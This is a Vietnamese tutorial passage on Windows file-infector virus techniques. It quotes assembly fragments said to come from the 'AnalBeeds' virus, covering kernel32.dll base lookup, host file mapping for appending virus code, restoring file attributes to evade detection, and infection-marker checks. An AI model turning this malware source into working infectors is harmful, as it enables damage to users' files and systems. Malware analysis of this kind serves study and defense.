Tìm địa chỉ cơ sở của kernell32.dll
Để có thể sử dụng các hàm API của hệ điều hành, trước hết virus phải tìm được địa chỉ cơ sở của file thư viện liên kết động kernell32.dll.
Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật tìm địa chỉ cơ sở của file kernell32.dll.
VirusStart:
call GetDelta GetDelta:
sub ebp, offset GetDelta
mov eax, [esp]
or eax, 00000FFFh xor eax, 00000FFFh compare: cmp word ptr [eax], 'ZM' je kernel32_found sub eax, 1000h jmp compare
Sau khi xác định được địa chỉ nằm trong thanh ghi eax, có thể dựa vào đó để tìm kiếm PE Header của kernell32.
Mapping file
File thực thi sẽđược ánh xạ vào không gian bộ nhớ. Virus thao tác trên không gian này và các thao tác đó được ánh xạ ngược lại file vật lý.
Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật mapping file.
Pushad
mov dword ptr [ebp + newfilesize], ecx mov word ptr [ebp + infectionflag], 0
add ecx, viruslen
add ecx, 1000h
mov [ebp + offset memory], ecx
Ta thấy khi mapping file virus cần bố trí dung lượng bộ nhớ bằng kích thước file nguyên thủy cộng với độ dài đoạn mã virus cộng thêm một vùng đệm (buffer). Nếu khi mapping không phân phối đủ bộ nhớ có thể sẽ dẫn đến lỗi (fault page) khi ghi.
push 0
push dword ptr [ebp + offset memory] push 0
push 4 push 0
push dword ptr [ebp + offset filehandle]
call [ebp + __ADDR_CreateFileMappingA] mov [ebp + offset maphandle], eax
cmp eax, 0
je CloseFile
Thay đổi thuộc tính file
Cũng giống như các virus dưới nền DOS, khi thao tác trên file, nếu virus không trả lại thuộc tính cũ sẽ rất dễ bị phát hiện.
Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật lấy và đặt thuộc tính file.
mov [ebp + offset fileofs], esi
push esi
call [ebp + __ADDR_GetFileAttributesA] cmp eax, 0
mov [ebp + fileattributes], eax push 80h
push esi
call [ebp + __ADDR_SetFileAttributesA] ...
push dword ptr [ebp + offset fileattributes] push dword ptr [ebp + offset fileofs]
call [ebp + __ADDR_SetFileAttributesA] jmp InfectionSuccesful
Kiểm tra tính tồn tại duy nhất
Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật kiểm tra tính tồn tại duy nhất.
cmp word ptr [esi + 38h], 'MS'
jne OkGo
mov word ptr [ebp + infectionflag], 0FFh jmp UnmapView